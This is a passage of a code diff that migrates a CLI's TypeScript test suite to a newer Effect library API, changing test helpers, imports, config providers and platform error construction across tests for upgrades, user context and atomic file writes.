518 + it.effect('useMakeSpinner auto-stops spinner on error', () =>
519 Effect.gen(function* () {
520 const ui = yield* TerminalUI;
521
@@ -533,7 +533,7 @@ describe('TerminalUI', () => {
533 })
534 );
535
536 - it.scoped('useMakeSpinner does NOT double-stop if user already stopped', () =>
536 + it.effect('useMakeSpinner does NOT double-stop if user already stopped', () =>
537 Effect.gen(function* () {
538 const ui = yield* TerminalUI;
539
@@ -551,7 +551,7 @@ describe('TerminalUI', () => {
551 })
552 );
553
554 - it.scoped('useMakeSpinner allows message updates before stop', () =>
554 + it.effect('useMakeSpinner allows message updates before stop', () =>
555 Effect.gen(function* () {
556 const ui = yield* TerminalUI;
557
@@ -568,7 +568,7 @@ describe('TerminalUI', () => {
568 })
569 );
570
571 - it.scoped('useMakeSpinner returns the value from the use callback', () =>
571 + it.effect('useMakeSpinner returns the value from the use callback', () =>
572 Effect.gen(function* () {
573 const ui = yield* TerminalUI;
574
@@ -583,7 +583,7 @@ describe('TerminalUI', () => {
583 })
584 );
585
586 - it.scoped(
586 + it.effect(
587 'useMakeSpinner does NOT double-error when callback calls spinner.error then fails',
588 () =>
589 Effect.gen(function* () {
ts/packages/cli/test/src/services/tool-file-uploads.test.ts
+2 -2
@@ -2,8 +2,8 @@ import { afterEach, describe, expect, it, vi } from '@effect/vitest';
2 import * as os from 'node:os';
3 import * as path from 'node:path';
4 import { mkdtempSync, rmSync, writeFileSync } from 'node:fs';
5 -import * as FileSystem from '@effect/platform/FileSystem';
6 -import * as Path from '@effect/platform/Path';
5 +import * as FileSystem from 'effect/FileSystem';
6 +import * as Path from 'effect/Path';
7 import * as BunFileSystem from '@effect/platform-bun/BunFileSystem';
8 import * as BunPath from '@effect/platform-bun/BunPath';
9 import { Effect, Layer } from 'effect';
ts/packages/cli/test/src/services/tool-input-validation.test.ts
+3 -2
@@ -130,8 +130,9 @@ describe('tool input validation', () => {
130 Layer.succeed(NodeOs, defaultNodeOs({ homedir: cacheDir }))
131 )
132 ),
133 - Effect.withConfigProvider(
134 - ConfigProvider.fromMap(new Map([['CACHE_DIR', cacheDir]] satisfies Array<[string, string]>))
133 + Effect.provideService(
134 + ConfigProvider.ConfigProvider,
135 + ConfigProvider.fromEnv({ env: { CACHE_DIR: cacheDir } })
136 )
137 );
138 });
ts/packages/cli/test/src/services/tool-permissions.test.ts
+6 -4
@@ -1,5 +1,5 @@
1 -import * as FileSystem from '@effect/platform/FileSystem';
2 -import * as Path from '@effect/platform/Path';
1 +import * as FileSystem from 'effect/FileSystem';
2 +import * as Path from 'effect/Path';
3 import * as BunFileSystem from '@effect/platform-bun/BunFileSystem';
4 import * as BunPath from '@effect/platform-bun/BunPath';
5 import { afterEach, beforeEach, describe, expect, it, vi } from '@effect/vitest';
@@ -25,7 +25,9 @@ const ToolPermissionsTest = Layer.mergeAll(
25 BunFileSystem.layer,
26 BunPath.layer,
27 NodeOs.Default,
28 - Layer.setConfigProvider(extendConfigProvider(ConfigProvider.fromEnv()))
28 + // fromEnv() snapshots the environment when built; build it per provide so the
29 + // per-test COMPOSIO_CACHE_DIR stub is observed.
30 + ConfigProvider.layer(Effect.sync(() => extendConfigProvider(ConfigProvider.fromEnv())))
31 );
32
33 const snapshotFixture = (
@@ -199,7 +201,7 @@ describe('tool permissions', () => {
201 const fs = yield* FileSystem.FileSystem;
202 const path = yield* Path.Path;
203 // The shared vitest setup pins COMPOSIO_CACHE_DIR to a fresh temp directory.
202 - const cacheDir = yield* ConfigProvider.fromEnv().load(Config.string('COMPOSIO_CACHE_DIR'));
204 + const cacheDir = yield* Config.string('COMPOSIO_CACHE_DIR').parse(ConfigProvider.fromEnv());
205 // Key shape: `${orgId}:${projectId}:${consumerUserId}:${toolSlug}:${accountId}`.
206 const allowKey = 'org_cached_allow:project_test:user_test:GMAIL_SEND_EMAIL:__none__';
207 yield* fs.writeFileString(
ts/packages/cli/test/src/services/update-check.test.ts
+3 -1
@@ -636,7 +636,9 @@ describe('checkForUpdate', () => {
636 json: () => Promise.resolve(makeReleasesPayload(['0.3.0'])),
637 }) as unknown as typeof fetch,
638 });
639 - const failingFiber = yield* Effect.fork(createUpdateChecker(failingConfig).checkForUpdate);
639 + const failingFiber = yield* Effect.forkChild(
640 + createUpdateChecker(failingConfig).checkForUpdate
641 + );
642
643 yield* Effect.promise(() => failedRequestStarted.promise);
644 const successfulAt = new Date(pinnedNow.getTime() + 60_000);
ts/packages/cli/test/src/services/upgrade-binary.test.ts
+26 -20
@@ -1,9 +1,9 @@
1 import { describe, expect, it, vi } from '@effect/vitest';
2 import { ConfigProvider, Effect, Layer, Option } from 'effect';
3 -import * as FetchHttpClient from '@effect/platform/FetchHttpClient';
4 -import * as FileSystem from '@effect/platform/FileSystem';
5 -import * as Path from '@effect/platform/Path';
6 -import * as PlatformError from '@effect/platform/Error';
3 +import { FetchHttpClient } from 'effect/unstable/http';
4 +import * as FileSystem from 'effect/FileSystem';
5 +import * as Path from 'effect/Path';
6 +import * as PlatformError from 'effect/PlatformError';
7 import * as BunFileSystem from '@effect/platform-bun/BunFileSystem';
8 import * as BunPath from '@effect/platform-bun/BunPath';
9 import { withHttpServer } from 'test/__utils__/http-server';
@@ -86,7 +86,10 @@ const makeUpgradeEffect = (
86 Effect.provide(fileSystemLayer),
87 Effect.provide(TerminalUINoop),
88 Effect.provide(NodeOsTest),
89 - Effect.withConfigProvider(ConfigProvider.fromMap(new Map(configEntries))),
89 + Effect.provideService(
90 + ConfigProvider.ConfigProvider,
91 + ConfigProvider.fromEnv({ env: Object.fromEntries(configEntries) })
92 + ),
93 Effect.scoped
94 );
95
@@ -117,8 +120,8 @@ const failRenameTo = (failedTargetPath: string) =>
120 return (oldPath: string, newPath: string) =>
121 newPath === failedTargetPath
122 ? Effect.fail(
120 - new PlatformError.SystemError({
121 - reason: 'Busy',
123 + PlatformError.systemError({
124 + _tag: 'Busy',
125 module: 'FileSystem',
126 method: 'rename',
127 pathOrDescriptor: newPath,
@@ -166,7 +169,7 @@ const restoreStubsAndMocks = Effect.sync(() => {
169 });
170
171 describe('UpgradeBinary', () => {
169 - it.scoped('wraps non-2xx releases fetch failures with fetch context (no tag branch)', () => {
172 + it.effect('wraps non-2xx releases fetch failures with fetch context (no tag branch)', () => {
173 vi.stubGlobal('Bun', { which: vi.fn(() => null) });
174
175 return Effect.gen(function* () {
@@ -190,7 +193,7 @@ describe('UpgradeBinary', () => {
193 }).pipe(Effect.ensuring(restoreStubsAndMocks));
194 });
195
193 - it.scoped('wraps tagged release JSON parse failures with parse context (tag branch)', () => {
196 + it.effect('wraps tagged release JSON parse failures with parse context (tag branch)', () => {
197 vi.stubGlobal('Bun', { which: vi.fn(() => null) });
198
199 return Effect.gen(function* () {
@@ -214,7 +217,7 @@ describe('UpgradeBinary', () => {
217 }).pipe(Effect.ensuring(restoreStubsAndMocks));
218 });
219
217 - it.scoped('rejects structurally invalid tagged release JSON', () => {
220 + it.effect('rejects structurally invalid tagged release JSON', () => {
221 vi.stubGlobal('Bun', { which: vi.fn(() => null) });
222
223 return Effect.gen(function* () {
@@ -238,7 +241,7 @@ describe('UpgradeBinary', () => {
241 }).pipe(Effect.ensuring(restoreStubsAndMocks));
242 });
243
241 - it.scoped('URL-encodes slash-containing tags in tagged release request path', () => {
244 + it.effect('URL-encodes slash-containing tags in tagged release request path', () => {
245 vi.stubGlobal('Bun', { which: vi.fn(() => null) });
246 let receivedPath = '';
247
@@ -267,7 +270,7 @@ describe('UpgradeBinary', () => {
270 }).pipe(Effect.ensuring(restoreStubsAndMocks));
271 });
272
270 - it.scoped('skips newer releases that do not contain a binary for the current platform', () => {
273 + it.effect('skips newer releases that do not contain a binary for the current platform', () => {
274 vi.stubGlobal('Bun', { which: vi.fn(() => null) });
275
276 return Effect.gen(function* () {
@@ -320,7 +323,7 @@ describe('UpgradeBinary', () => {
323 }).pipe(Effect.provide(TestPlatform), Effect.ensuring(restoreStubsAndMocks));
324 });
325
323 - it.scoped('ignores prereleases when checking the stable channel', () => {
326 + it.effect('ignores prereleases when checking the stable channel', () => {
327 vi.stubGlobal('Bun', { which: vi.fn(() => null) });
328
329 return Effect.gen(function* () {
@@ -373,7 +376,7 @@ describe('UpgradeBinary', () => {
376 }).pipe(Effect.provide(TestPlatform), Effect.ensuring(restoreStubsAndMocks));
377 });
378
376 - it.scoped('selects the latest prerelease when beta upgrades are requested', () => {
379 + it.effect('selects the latest prerelease when beta upgrades are requested', () => {
380 vi.stubGlobal('Bun', { which: vi.fn(() => null) });
381
382 return Effect.gen(function* () {
@@ -448,7 +451,7 @@ describe('UpgradeBinary', () => {
451 }).pipe(Effect.provide(TestPlatform), Effect.ensuring(restoreStubsAndMocks));
452 });
453
451 - it.scoped('copies local-tool bundled binary assets during local-target upgrades', () => {
454 + it.effect('copies local-tool bundled binary assets during local-target upgrades', () => {
455 vi.stubGlobal('Bun', { which: vi.fn(() => null) });
456
457 return Effect.gen(function* () {
@@ -515,7 +518,7 @@ describe('UpgradeBinary', () => {
518 }).pipe(Effect.provide(TestPlatform), Effect.ensuring(restoreStubsAndMocks));
519 });
520
518 - it.scoped('commits companions and release metadata before replacing the binary', () => {
521 + it.effect('commits companions and release metadata before replacing the binary', () => {
522 vi.stubGlobal('Bun', { which: vi.fn(() => null) });
523
524 return Effect.gen(function* () {
@@ -561,7 +564,10 @@ describe('UpgradeBinary', () => {
564 expect(error.message).toBe(
565 `Failed to replace binary: Failed to replace file at ${fakeExecPath}`
566 );
564 - expect(error.cause).toBeInstanceOf(PlatformError.SystemError);
567 + expect(error.cause).toBeInstanceOf(PlatformError.PlatformError);
568 + expect((error.cause as PlatformError.PlatformError).reason).toBeInstanceOf(
569 + PlatformError.SystemError
570 + );
571 expect(yield* fs.readFileString(fakeExecPath)).toBe('old-binary');
572 expect(yield* fs.readFileString(observedCompanionPath)).toBe('new-support-file');
573 expect(yield* fs.readFileString(releaseTagPath)).toBe(`${newReleaseTag}\n`);
@@ -572,7 +578,7 @@ describe('UpgradeBinary', () => {
578 }).pipe(Effect.provide(TestPlatform), Effect.ensuring(restoreStubsAndMocks));
579 });
580
575 - it.scoped('preflights every companion before changing installed files', () => {
581 + it.effect('preflights every companion before changing installed files', () => {
582 vi.stubGlobal('Bun', { which: vi.fn(() => null) });
583
584 return Effect.gen(function* () {
@@ -629,7 +635,7 @@ describe('UpgradeBinary', () => {
635 }).pipe(Effect.provide(TestPlatform), Effect.ensuring(restoreStubsAndMocks));
636 });
637
632 - it.scoped('replaces the bundle target without replacing its entry-point symlink', () => {
638 + it.effect('replaces the bundle target without replacing its entry-point symlink', () => {
639 vi.stubGlobal('Bun', { which: vi.fn(() => null) });
640
641 return Effect.gen(function* () {
@@ -673,7 +679,7 @@ describe('UpgradeBinary', () => {
679 }).pipe(Effect.provide(TestPlatform), Effect.ensuring(restoreStubsAndMocks));
680 });
681
676 - it.scoped('uses the installed beta release tag when comparing beta updates', () => {
682 + it.effect('uses the installed beta release tag when comparing beta updates', () => {
683 vi.stubGlobal('Bun', { which: vi.fn(() => null) });
684
685 return Effect.gen(function* () {
ts/packages/cli/test/src/services/user-context.test.ts
+38 -41
@@ -1,9 +1,9 @@
1 import { describe, it } from '@effect/vitest';
2 -import { assertEquals } from '@effect/vitest/utils';
3 -import * as FileSystem from '@effect/platform/FileSystem';
2 +import { assertEquals, deepStrictEqual } from '@effect/vitest/utils';
3 +import * as FileSystem from 'effect/FileSystem';
4 import * as BunFileSystem from '@effect/platform-bun/BunFileSystem';
5 import * as BunPath from '@effect/platform-bun/BunPath';
6 -import { ConfigProvider, Effect, Layer, Option, Data } from 'effect';
6 +import { ConfigProvider, Effect, Layer, Option } from 'effect';
7 import * as tempy from 'tempy';
8 import { ComposioUserContext, rawComposioUserContextLive } from 'src/services/user-context';
9 import { defaultNodeOs, NodeOs } from 'src/services/node-os';
@@ -76,11 +76,14 @@ const ComposioUserContextLive = Layer.provide(
76
77 describe('ComposioUserContext', () => {
78 const withMapConfigProvider = (map: Map<string, string>) =>
79 - Layer.setConfigProvider(extendConfigProvider(ConfigProvider.fromMap(map)));
79 + Layer.succeed(
80 + ConfigProvider.ConfigProvider,
81 + extendConfigProvider(ConfigProvider.fromEnv({ env: Object.fromEntries(map) }))
82 + );
83
84 describe('[When] no `~/.composio/user_data.json` config file exists', () => {
85 describe('[When] no dynamic `Config` is set', () => {
83 - it.scoped('[Then] it contains default user data', () => {
86 + it.effect('[Then] it contains default user data', () => {
87 const cwd = tempy.temporaryDirectory();
88 const map = new Map([]) satisfies Map<string, string>;
89
@@ -101,14 +104,14 @@ describe('ComposioUserContext', () => {
104 projectId: Option.none(),
105 testUserId: Option.none(),
106 });
104 - assertEquals(Data.struct(ctx.data), Data.struct(expectedUserData));
105 - assertEquals(ctx.isLoggedIn(), false);
107 + deepStrictEqual(ctx.data, expectedUserData);
108 + deepStrictEqual(ctx.isLoggedIn(), false);
109 }).pipe(Effect.provide(ComposioUserContextTest));
110 });
111 });
112
113 describe('[When] dynamic `APP_CONFIG` is set', () => {
111 - it.scoped('[Then] is logged in', () => {
114 + it.effect('[Then] is logged in', () => {
115 const cwd = tempy.temporaryDirectory();
116 const map = new Map([
117 ['COMPOSIO_USER_API_KEY', 'api_key'],
@@ -132,12 +135,12 @@ describe('ComposioUserContext', () => {
135 projectId: Option.none(),
136 testUserId: Option.none(),
137 });
135 - assertEquals(Data.struct(ctx.data), Data.struct(expectedUserData));
136 - assertEquals(ctx.isLoggedIn(), true);
138 + deepStrictEqual(ctx.data, expectedUserData);
139 + deepStrictEqual(ctx.isLoggedIn(), true);
140 }).pipe(Effect.provide(ComposioUserContextTest));
141 });
142
140 - it.scoped('[Then] COMPOSIO_API_KEY alone does not authenticate user context', () => {
143 + it.effect('[Then] COMPOSIO_API_KEY alone does not authenticate user context', () => {
144 const cwd = tempy.temporaryDirectory();
145 const map = new Map([['COMPOSIO_API_KEY', 'legacy_api_key']]) satisfies Map<string, string>;
146
@@ -149,8 +152,8 @@ describe('ComposioUserContext', () => {
152
153 return Effect.gen(function* () {
154 const ctx = yield* ComposioUserContext;
152 - assertEquals(ctx.isLoggedIn(), false);
153 - assertEquals(Option.getOrUndefined(ctx.data.apiKey), undefined);
155 + deepStrictEqual(ctx.isLoggedIn(), false);
156 + deepStrictEqual(Option.getOrUndefined(ctx.data.apiKey), undefined);
157 }).pipe(Effect.provide(ComposioUserContextTest));
158 });
159 });
@@ -188,15 +191,12 @@ describe('ComposioUserContext', () => {
191 assertEquals((yield* fs.stat(userDataPath)).mode & 0o777, 0o644);
192
193 const ctx = yield* ComposioUserContext;
191 - assertEquals(
192 - Data.struct(ctx.data),
193 - Data.struct({
194 - ...expectedUserData,
195 - baseURL: expectedUserData.baseURL.pipe(Option.getOrUndefined),
196 - webURL: expectedUserData.webURL.pipe(Option.getOrUndefined),
197 - })
198 - );
199 - assertEquals(ctx.isLoggedIn(), true);
194 + deepStrictEqual(ctx.data, {
195 + ...expectedUserData,
196 + baseURL: expectedUserData.baseURL.pipe(Option.getOrUndefined),
197 + webURL: expectedUserData.webURL.pipe(Option.getOrUndefined),
198 + });
199 + deepStrictEqual(ctx.isLoggedIn(), true);
200 assertEquals(yield* fs.readFileString(userDataPath, 'utf8'), userDataAsJson);
201 assertEquals((yield* fs.stat(userDataPath)).mode & 0o777, 0o600);
202 }).pipe(Effect.provide(ComposioUserContextTest));
@@ -204,7 +204,7 @@ describe('ComposioUserContext', () => {
204 });
205
206 describe('[When] dynamic `APP_CONFIG` is set', () => {
207 - it.scoped('[Then] it overrides the config file', () => {
207 + it.effect('[Then] it overrides the config file', () => {
208 const cwd = tempy.temporaryDirectory();
209 const map = new Map([['COMPOSIO_USER_API_KEY', 'api_key']]) satisfies Map<string, string>;
210
@@ -231,15 +231,12 @@ describe('ComposioUserContext', () => {
231
232 const ctx = yield* ComposioUserContext;
233
234 - assertEquals(
235 - Data.struct(ctx.data),
236 - Data.struct({
237 - ...expectedUserData,
238 - baseURL: 'https://backend.composio.dev',
239 - webURL: expectedUserData.webURL.pipe(Option.getOrUndefined),
240 - })
241 - );
242 - assertEquals(ctx.isLoggedIn(), true);
234 + deepStrictEqual(ctx.data, {
235 + ...expectedUserData,
236 + baseURL: 'https://backend.composio.dev',
237 + webURL: expectedUserData.webURL.pipe(Option.getOrUndefined),
238 + });
239 + deepStrictEqual(ctx.isLoggedIn(), true);
240 }).pipe(Effect.provide(ComposioUserContextTest));
241 });
242 });
@@ -272,8 +269,8 @@ describe('ComposioUserContext', () => {
269 projectId: Option.none(),
270 testUserId: Option.none(),
271 });
275 - assertEquals(Data.struct(ctx.data), Data.struct(expectedUserData));
276 - assertEquals(ctx.isLoggedIn(), false);
272 + deepStrictEqual(ctx.data, expectedUserData);
273 + deepStrictEqual(ctx.isLoggedIn(), false);
274
275 // The corrupted file should have been overwritten with valid defaults
276 const contents = yield* fs.readFileString(
@@ -281,7 +278,7 @@ describe('ComposioUserContext', () => {
278 'utf8'
279 );
280 const parsed = JSON.parse(contents);
284 - assertEquals(parsed.api_key, null);
281 + deepStrictEqual(parsed.api_key, null);
282 }).pipe(Effect.provide(ComposioUserContextTest));
283 });
284 });
@@ -317,8 +314,8 @@ describe('ComposioUserContext', () => {
314 projectId: Option.none(),
315 testUserId: Option.none(),
316 });
320 - assertEquals(Data.struct(ctx.data), Data.struct(expectedUserData));
321 - assertEquals(ctx.isLoggedIn(), false);
317 + deepStrictEqual(ctx.data, expectedUserData);
318 + deepStrictEqual(ctx.isLoggedIn(), false);
319 }).pipe(Effect.provide(ComposioUserContextTest));
320 });
321 });
@@ -354,8 +351,8 @@ describe('ComposioUserContext', () => {
351 projectId: Option.none(),
352 testUserId: Option.none(),
353 });
357 - assertEquals(Data.struct(ctx.data), Data.struct(expectedUserData));
358 - assertEquals(ctx.isLoggedIn(), false);
354 + deepStrictEqual(ctx.data, expectedUserData);
355 + deepStrictEqual(ctx.isLoggedIn(), false);
356 }).pipe(Effect.provide(ComposioUserContextTest));
357 });
358 });
@@ -382,8 +379,8 @@ describe('ComposioUserContext', () => {
379 const ctx = yield* ComposioUserContext;
380
381 // Despite corrupted file, env USER_API_KEY should still work
385 - assertEquals(ctx.isLoggedIn(), true);
386 - assertEquals(Option.getOrUndefined(ctx.data.apiKey), 'env_api_key');
382 + deepStrictEqual(ctx.isLoggedIn(), true);
383 + deepStrictEqual(Option.getOrUndefined(ctx.data.apiKey), 'env_api_key');
384 }).pipe(Effect.provide(ComposioUserContextTest));
385 });
386 });
ts/packages/cli/test/src/utils/atomic-replace.test.ts
+16 -17
@@ -1,10 +1,9 @@
1 -import * as FileSystem from '@effect/platform/FileSystem';
2 -import * as Path from '@effect/platform/Path';
3 -import * as PlatformError from '@effect/platform/Error';
1 import * as BunFileSystem from '@effect/platform-bun/BunFileSystem';
2 import * as BunPath from '@effect/platform-bun/BunPath';
3 import { describe, expect, layer } from '@effect/vitest';
7 -import { Effect, Layer, Option } from 'effect';
4 +import { Effect, FileSystem, Layer, Option, Path, PlatformError } from 'effect';
5 +
6 +type RemoveOptions = Parameters<FileSystem.FileSystem['remove']>[1];
7 import {
8 AtomicReplaceError,
9 atomicReplaceDirectory,
@@ -32,8 +31,8 @@ const failDirectoryPublish = (targetPath: string, failRestore = false) =>
31 (failRestore && oldPath.includes('.composio-atomic-recovery-')));
32 return shouldFail
33 ? Effect.fail(
35 - new PlatformError.SystemError({
36 - reason: 'Busy',
34 + PlatformError.systemError({
35 + _tag: 'Busy',
36 module: 'FileSystem',
37 method: 'rename',
38 pathOrDescriptor: newPath,
@@ -58,11 +57,11 @@ const failDirectoryCleanup = () =>
57 return Reflect.get(target, property, receiver);
58 }
59
61 - return (path: string, options?: FileSystem.RemoveOptions) =>
60 + return (path: string, options?: RemoveOptions) =>
61 path.includes('.composio-atomic-recovery-')
62 ? Effect.fail(
64 - new PlatformError.SystemError({
65 - reason: 'Busy',
63 + PlatformError.systemError({
64 + _tag: 'Busy',
65 module: 'FileSystem',
66 method: 'remove',
67 pathOrDescriptor: path,
@@ -92,7 +91,7 @@ const makeDirectoryFixture = (withTarget = true) =>
91
92 describe('atomic replace', () => {
93 layer(TestPlatform)(it => {
95 - it.scoped('replaces an existing file without modifying its open inode', () =>
94 + it.effect('replaces an existing file without modifying its open inode', () =>
95 Effect.gen(function* () {
96 const fs = yield* FileSystem.FileSystem;
97 const path = yield* Path.Path;
@@ -116,7 +115,7 @@ describe('atomic replace', () => {
115 })
116 );
117
119 - it.scoped('creates an executable target when mode is provided', () =>
118 + it.effect('creates an executable target when mode is provided', () =>
119 Effect.gen(function* () {
120 const fs = yield* FileSystem.FileSystem;
121 const path = yield* Path.Path;
@@ -133,7 +132,7 @@ describe('atomic replace', () => {
132 })
133 );
134
136 - it.scoped('preserves the target and cleans staging when the source is missing', () =>
135 + it.effect('preserves the target and cleans staging when the source is missing', () =>
136 Effect.gen(function* () {
137 const fs = yield* FileSystem.FileSystem;
138 const path = yield* Path.Path;
@@ -154,7 +153,7 @@ describe('atomic replace', () => {
153 })
154 );
155
157 - it.scoped('replaces an existing non-empty directory without leaving residue', () =>
156 + it.effect('replaces an existing non-empty directory without leaving residue', () =>
157 Effect.gen(function* () {
158 const fs = yield* FileSystem.FileSystem;
159 const path = yield* Path.Path;
@@ -176,7 +175,7 @@ describe('atomic replace', () => {
175 })
176 );
177
179 - it.scoped('creates a directory target that does not exist', () =>
178 + it.effect('creates a directory target that does not exist', () =>
179 Effect.gen(function* () {
180 const { directory, fs, path, sourcePath, targetPath } = yield* makeDirectoryFixture(false);
181
@@ -187,7 +186,7 @@ describe('atomic replace', () => {
186 })
187 );
188
190 - it.scoped('restores the previous directory when publishing fails', () =>
189 + it.effect('restores the previous directory when publishing fails', () =>
190 Effect.gen(function* () {
191 const { directory, fs, path, sourcePath, targetPath } = yield* makeDirectoryFixture();
192
@@ -203,7 +202,7 @@ describe('atomic replace', () => {
202 })
203 );
204
206 - it.scoped('keeps the published directory when old-content cleanup fails', () =>
205 + it.effect('keeps the published directory when old-content cleanup fails', () =>
206 Effect.gen(function* () {
207 const { directory, fs, path, sourcePath, targetPath } = yield* makeDirectoryFixture();
208
@@ -222,7 +221,7 @@ describe('atomic replace', () => {
221 })
222 );
223
225 - it.scoped('retains the previous directory when publishing and restoration fail', () =>
224 + it.effect('retains the previous directory when publishing and restoration fail', () =>
225 Effect.gen(function* () {
226 const { directory, fs, path, sourcePath, targetPath } = yield* makeDirectoryFixture();
227
ts/packages/cli/test/src/utils/atomic-write.test.ts
+24 -22
@@ -1,10 +1,9 @@
1 -import * as FileSystem from '@effect/platform/FileSystem';
2 -import * as Path from '@effect/platform/Path';
3 -import * as PlatformError from '@effect/platform/Error';
1 import * as BunFileSystem from '@effect/platform-bun/BunFileSystem';
2 import * as BunPath from '@effect/platform-bun/BunPath';
3 import { describe, expect, layer } from '@effect/vitest';
7 -import { Deferred, Effect, Fiber, Layer } from 'effect';
4 +import { Deferred, Effect, Fiber, FileSystem, Layer, Path, PlatformError } from 'effect';
5 +
6 +type WriteFileOptions = Parameters<FileSystem.FileSystem['writeFileString']>[2];
7 import { atomicWritePrivateFileString, ensurePrivateFileMode } from 'src/utils/atomic-write';
8
9 const TestPlatform = Layer.mergeAll(BunFileSystem.layer, BunPath.layer);
@@ -19,8 +18,8 @@ const failChmod = (fs: FileSystem.FileSystem, onAttempt: () => void): FileSystem
18 return (path: string) => {
19 onAttempt();
20 return Effect.fail(
22 - new PlatformError.SystemError({
23 - reason: 'PermissionDenied',
21 + PlatformError.systemError({
22 + _tag: 'PermissionDenied',
23 module: 'FileSystem',
24 method: 'chmod',
25 pathOrDescriptor: path,
@@ -43,7 +42,7 @@ const collideWithTmpWrites = (
42 return Reflect.get(target, property, receiver);
43 }
44
46 - return (path: string, contents: string, options?: FileSystem.WriteFileOptions) => {
45 + return (path: string, contents: string, options?: WriteFileOptions) => {
46 if (collisions >= maxCollisions || !path.includes('.composio-tmp.')) {
47 return target.writeFileString(path, contents, options);
48 }
@@ -69,7 +68,7 @@ const delayAfterTmpWrite = (
68 return Reflect.get(target, property, receiver);
69 }
70
72 - return (path: string, contents: string, options?: FileSystem.WriteFileOptions) =>
71 + return (path: string, contents: string, options?: WriteFileOptions) =>
72 target.writeFileString(path, contents, options).pipe(
73 Effect.tap(() => onStaged),
74 Effect.andThen(release)
@@ -84,7 +83,7 @@ const failAfterTmpWrite = (fs: FileSystem.FileSystem): FileSystem.FileSystem =>
83 return Reflect.get(target, property, receiver);
84 }
85
87 - return (path: string, contents: string, options?: FileSystem.WriteFileOptions) => {
86 + return (path: string, contents: string, options?: WriteFileOptions) => {
87 if (!path.includes('.composio-tmp.')) {
88 return target.writeFileString(path, contents, options);
89 }
@@ -92,8 +91,8 @@ const failAfterTmpWrite = (fs: FileSystem.FileSystem): FileSystem.FileSystem =>
91 return target.writeFileString(path, contents, options).pipe(
92 Effect.andThen(
93 Effect.fail(
95 - new PlatformError.SystemError({
96 - reason: 'PermissionDenied',
94 + PlatformError.systemError({
95 + _tag: 'PermissionDenied',
96 module: 'FileSystem',
97 method: 'writeFileString',
98 pathOrDescriptor: path,
@@ -107,7 +106,7 @@ const failAfterTmpWrite = (fs: FileSystem.FileSystem): FileSystem.FileSystem =>
106
107 describe('atomicWritePrivateFileString', () => {
108 layer(TestPlatform)(it => {
110 - it.scoped('retries an exclusive random staging path without touching a collision', () =>
109 + it.effect('retries an exclusive random staging path without touching a collision', () =>
110 Effect.gen(function* () {
111 const fs = yield* FileSystem.FileSystem;
112 const path = yield* Path.Path;
@@ -131,7 +130,7 @@ describe('atomicWritePrivateFileString', () => {
130 })
131 );
132
134 - it.scoped('stops after bounded collisions without deleting foreign files', () =>
133 + it.effect('stops after bounded collisions without deleting foreign files', () =>
134 Effect.gen(function* () {
135 const fs = yield* FileSystem.FileSystem;
136 const path = yield* Path.Path;
@@ -148,7 +147,7 @@ describe('atomicWritePrivateFileString', () => {
147 contents: '{"api_key":"valid"}\n',
148 }).pipe(Effect.flip);
149
151 - expect(error).toMatchObject({ _tag: 'SystemError', reason: 'AlreadyExists' });
150 + expect(error).toMatchObject({ _tag: 'PlatformError', reason: { _tag: 'AlreadyExists' } });
151 expect(collisionPaths).toHaveLength(5);
152 expect(new Set(collisionPaths)).toHaveLength(5);
153 expect(yield* fs.exists(target)).toBe(false);
@@ -158,7 +157,7 @@ describe('atomicWritePrivateFileString', () => {
157 })
158 );
159
161 - it.scoped('cleans staging before honoring interruption', () =>
160 + it.effect('cleans staging before honoring interruption', () =>
161 Effect.gen(function* () {
162 const fs = yield* FileSystem.FileSystem;
163 const path = yield* Path.Path;
@@ -177,11 +176,11 @@ describe('atomicWritePrivateFileString', () => {
176 fs: delayedFs,
177 target,
178 contents: '{"api_key":"valid"}\n',
180 - }).pipe(Effect.fork);
179 + }).pipe(Effect.forkChild);
180
181 yield* Deferred.await(staged);
183 - const interruptFiber = yield* Fiber.interrupt(fiber).pipe(Effect.fork);
184 - yield* Effect.yieldNow();
182 + const interruptFiber = yield* Fiber.interrupt(fiber).pipe(Effect.forkChild);
183 + yield* Effect.yieldNow;
184 yield* Deferred.succeed(release, undefined);
185 yield* Fiber.join(interruptFiber);
186
@@ -193,7 +192,7 @@ describe('atomicWritePrivateFileString', () => {
192 })
193 );
194
196 - it.scoped('cleans a partially written staging file on non-collision failure', () =>
195 + it.effect('cleans a partially written staging file on non-collision failure', () =>
196 Effect.gen(function* () {
197 const fs = yield* FileSystem.FileSystem;
198 const path = yield* Path.Path;
@@ -208,7 +207,10 @@ describe('atomicWritePrivateFileString', () => {
207 contents: '{"api_key":"new"}\n',
208 }).pipe(Effect.flip);
209
211 - expect(error).toMatchObject({ _tag: 'SystemError', reason: 'PermissionDenied' });
210 + expect(error).toMatchObject({
211 + _tag: 'PlatformError',
212 + reason: { _tag: 'PermissionDenied' },
213 + });
214 expect(yield* fs.readFileString(target, 'utf8')).toBe('{"api_key":"old"}\n');
215 expect(
216 (yield* fs.readDirectory(directory)).filter(name => name.includes('.composio-tmp.'))
@@ -220,7 +222,7 @@ describe('atomicWritePrivateFileString', () => {
222
223 describe('ensurePrivateFileMode', () => {
224 layer(TestPlatform)(it => {
223 - it.scoped('keeps valid contents readable when chmod fails', () =>
225 + it.effect('keeps valid contents readable when chmod fails', () =>
226 Effect.gen(function* () {
227 const fs = yield* FileSystem.FileSystem;
228 const path = yield* Path.Path;
@@ -244,7 +246,7 @@ describe('ensurePrivateFileMode', () => {
246 })
247 );
248
247 - it.scoped('does not call chmod for an already-private file', () =>
249 + it.effect('does not call chmod for an already-private file', () =>
250 Effect.gen(function* () {
251 const fs = yield* FileSystem.FileSystem;
252 const path = yield* Path.Path;
ts/packages/cli/test/src/utils/parse-json.test.ts
+3 -3
@@ -1,9 +1,9 @@
1 import { describe, expect, it } from '@effect/vitest';
2 -import { Either } from 'effect';
2 +import { Result } from 'effect';
3 import { JsonParsingError, parseJsonRecord } from 'src/utils/parse-json';
4
5 -const parse = (raw: string) => Either.getOrThrowWith(parseJsonRecord(raw), error => error);
6 -const parseError = (raw: string) => Either.flip(parseJsonRecord(raw)).pipe(Either.getOrNull);
5 +const parse = (raw: string) => Result.getOrThrowWith(parseJsonRecord(raw), error => error);
6 +const parseError = (raw: string) => Result.flip(parseJsonRecord(raw)).pipe(Result.getOrNull);
7
8 describe('parseJsonRecord', () => {
9 it('parses strict JSON objects', () => {
ts/packages/cli/tsconfig.src.json
+1 -1
@@ -14,6 +14,6 @@
14 },
15 "types": ["@types/bun"]
16 },
17 - "include": ["src/**/*", "package.json"],
17 + "include": ["src/**/*", "scripts/**/*.ts", "package.json"],
